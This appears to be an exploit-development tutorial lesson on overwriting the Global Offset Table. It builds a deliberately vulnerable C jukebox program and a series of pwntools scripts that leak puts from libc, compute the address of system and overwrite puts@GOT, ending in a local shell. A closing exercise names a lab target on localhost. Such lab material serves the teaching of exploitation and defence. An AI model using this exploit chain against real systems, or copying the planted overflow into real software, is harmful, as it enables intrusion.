In this section, we will take a closer look at the Global Offset Table. In the previous section, we learnt how to use jumping to the PLT stubs as a technique to reuse functions in libc. When jumping to PLT, the GOT entry for that corresponding function acted as a malleable space where the dynamic address would be held. We shall exploit that malleability.
Now, let's depart from the standard paradigm of stack overflows for the moment. We shall begin looking at vulnerable programs that allow for write-what-where primitives, albeit in a limited fashion.
Our first simple example is the following:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
struct record {
char name[24];
char * album;
};
int main() {
// Print Title
puts("This is a Jukebox");
// Create the struct record
struct record now_playing;
strcpy(now_playing.name, "Simple Minds");
now_playing.album = (char *) malloc(sizeof(char) * 24);
strcpy(now_playing.album, "Breakfast");
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Read some user data
read(0, now_playing.name, 28);
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Overwrite the album
read(0, now_playing.album, 4);
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Print the name again
puts(now_playing.name);
}
The program is vulnerable in two ways:
- It provides an information leak opportunity when the
now_playing.album
pointer is overwritten and the album name is printed. - It provides a write what where primitive when the
now_playing.album
pointer is overwritten and input is provided to the second prompt.
Running the binary:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ ./1_records
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Hello
Now Playing: Hello
Minds (Breakfast)
Stuff
Now Playing: Hello
Minds (Stufkfast)
Hello
Minds
It's a little screwy but nothing that fancy yet. Let's begin by trying to achieve the first vulnerable condition (arbitrary read). First, we can take an easy to spot target to leak. We can use the "This is a Jukebox" string. First, we need to figure out its address.
gdb-peda$ find "This is a Jukebox"
Searching for 'This is a Jukebox' in: None ranges
Found 2 results, display max 2 items:
1_records : 0x8048610 ("This is a Jukebox")
1_records : 0x8049610 ("This is a Jukebox")
Now, here's a skeleton exploit that will demonstrate the leaking of that string.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x8048610 # Address of "This is a Jukebox"
stage_1 = "A"*24 + p32(leak_address)
# Send the first stage
p.send(stage_1)
p.interactive()
if __name__ == "__main__":
main()
Testing it out:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 1_arbitrary_read.py
[+] Starting local process '../build/1_records': Done
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x10\x86\x0�so�.�\xff (This is a Jukebox)
$
See the "(This is a Jukebox)"? That means it worked. Now, what we are most interested in are mostly pointers. So let's make a small addition that would parse the leak and transform it into a nice number for us.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x8048610 # Address of "This is a Jukebox"
stage_1 = "A"*24 + p32(leak_address)
p.recvrepeat(0.2)
# Send the first stage
p.send(stage_1)
# Parse the response
data = p.recvrepeat(0.2)
leak = data[data.find("(")+1:data.rfind(")")]
log.info("Got leaked data: %s" % leak)
p.interactive()
if __name__ == "__main__":
main()
Running it:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 2_arbitrary_read_controlled.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: This is a Jukebox
[*] Switching to interactive mode
$
Awesome, now we can begin thinking about our exploit.
At the moment, we do not have a target to leak and to overwrite. We must be careful to pick a suitable one because the information leak and arbitrary write has to be performed on the same address. Additionally, the write has to result in EIP control at some point of the program's execution since we do not have that yet.
If we take a look at the source code again, the following function is called last:
puts(now_playing.name);
Interestingly, this is perfect for our uses. If we leak the address of puts in libc, we can calculate the address of the libc base and subsequently, the address of the system function. Also, once we have that, we can write the address of the system function into the puts@got entry so that when this final line executes, it will actually execute:
system(now_playing.name);
Which means that system will be called with a parameter that we control! How convenient!
First, let's see if we can leak the address of puts@got. First, we need the address.
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ readelf -r ./1_records | grep puts
0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
Now, we can modify our earlier iterations of the exploit.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x0804a018 # Address of puts@got
stage_1 = "A"*24 + p32(leak_address)
p.recvrepeat(0.2)
# Send the first stage
p.send(stage_1)
# Parse the response
data = p.recvrepeat(0.2)
leak = data[data.find("(")+1:data.rfind(")")]
log.info("Got leaked data: %s" % leak)
puts_addr = u32(leak[:4])
log.info("puts@libc: 0x%x" % puts_addr)
p.interactive()
if __name__ == "__main__":
main()
Running the script gives us a sanity check that we are reading the right thing.
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 3_leak_puts_got.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: �
f�@�a�
[*] puts@libc: 0xf7660ca0
[*] Switching to interactive mode
$
Now, let's try and get EIP control. This should be as simple as sending four bytes.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x0804a018 # Address of puts@got
stage_1 = "A"*24 + p32(leak_address)
p.recvrepeat(0.2)
# Send the first stage
p.send(stage_1)
# Parse the response
data = p.recvrepeat(0.2)
leak = data[data.find("(")+1:data.rfind(")")]
log.info("Got leaked data: %s" % leak)
puts_addr = u32(leak[:4])
log.info("puts@libc: 0x%x" % puts_addr)
# Overwrite puts@got
ret_address =0xdeadc0de
p.send(p32(ret_address))
p.interactive()
if __name__ == "__main__":
main()
It works, the program crashed at 0xdeadc0de
.
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 4_eip_control.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: �,c�@�^�
[*] puts@libc: 0xf7632ca0
[*] Switching to interactive mode
Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x18\xa0\x0�Sx�@Ż\xff (��\xad�@\xb5^�)
$ [*] Got EOF while reading in interactive
[*] Process '../build/1_records' stopped with exit code -11
[*] Got EOF while sending in interactive
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ dmesg | tail -n 1
[19310.052976] 1_records[3815]: segfault at deadc0de ip 00000000deadc0de sp 00000000ffbbc4ec error 14 in libc-2.23.so[f75d3000+1af000]
Let's gather our offsets and we can write our final exploit script.
ubuntu@ubuntu-xenial:~/libc-database$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep "<_IO_puts@@GLIBC_2.0>:"
0005fca0 <_IO_puts@@GLIBC_2.0>:
ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed | grep system
offset_system = 0x0003ada0
Final exploit script:
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x0804a018 # Address of puts@got
command = "/bin/sh"
stage_1 = command.ljust(24, "\x00") + p32(leak_address)
p.recvrepeat(0.2)
# Send the first stage
p.send(stage_1)
# Parse the response
data = p.recvrepeat(0.2)
leak = data[data.find("(")+1:data.rfind(")")]
log.info("Got leaked data: %s" % leak)
puts_addr = u32(leak[:4])
log.info("puts@libc: 0x%x" % puts_addr)
# Calculate libc base and system
puts_offset = 0x5fca0
libc_base = puts_addr - puts_offset
log.info("libc base: 0x%x" % libc_base)
system_offset = 0x0003ada0
system_addr = libc_base + system_offset
log.info("system@libc: 0x%x" % system_addr)
# Overwrite puts@got
ret_address = system_addr
p.send(p32(ret_address))
p.interactive()
if __name__ == "__main__":
main()
Getting our shell:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 5_final.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: ��Z�@uV�
[*] puts@libc: 0xf75aeca0
[*] libc base: 0xf754f000
[*] system@libc: 0xf7589da0
[*] Switching to interactive mode
Now Playing: /bin/sh (\xa0\x9dX�@uV�)
$ ls -la
total 2232
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 18:01 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 18:02 ..
-rw-rw-r-- 1 ubuntu ubuntu 345 Jan 13 16:49 1_arbitrary_read.py
-rw-rw-r-- 1 ubuntu ubuntu 515 Jan 13 16:50 2_arbitrary_read_controlled.py
-rw-rw-r-- 1 ubuntu ubuntu 579 Jan 13 16:52 3_leak_puts_got.py
-rw-rw-r-- 1 ubuntu ubuntu 662 Jan 13 16:54 4_eip_control.py
-rw-rw-r-- 1 ubuntu ubuntu 978 Jan 13 17:00 5_final.py
$
[*] Stopped program '../build/1_records'
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$
After the mistakes of the previous Event, Kaizen has decided to secure his system. Can you find a way to exploit the new binary?
It was compiled with a stack canary.
gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c
The binary can be found here and the source can be found here. The
remote target is nc localhost 1902
.
The solution script may be found here.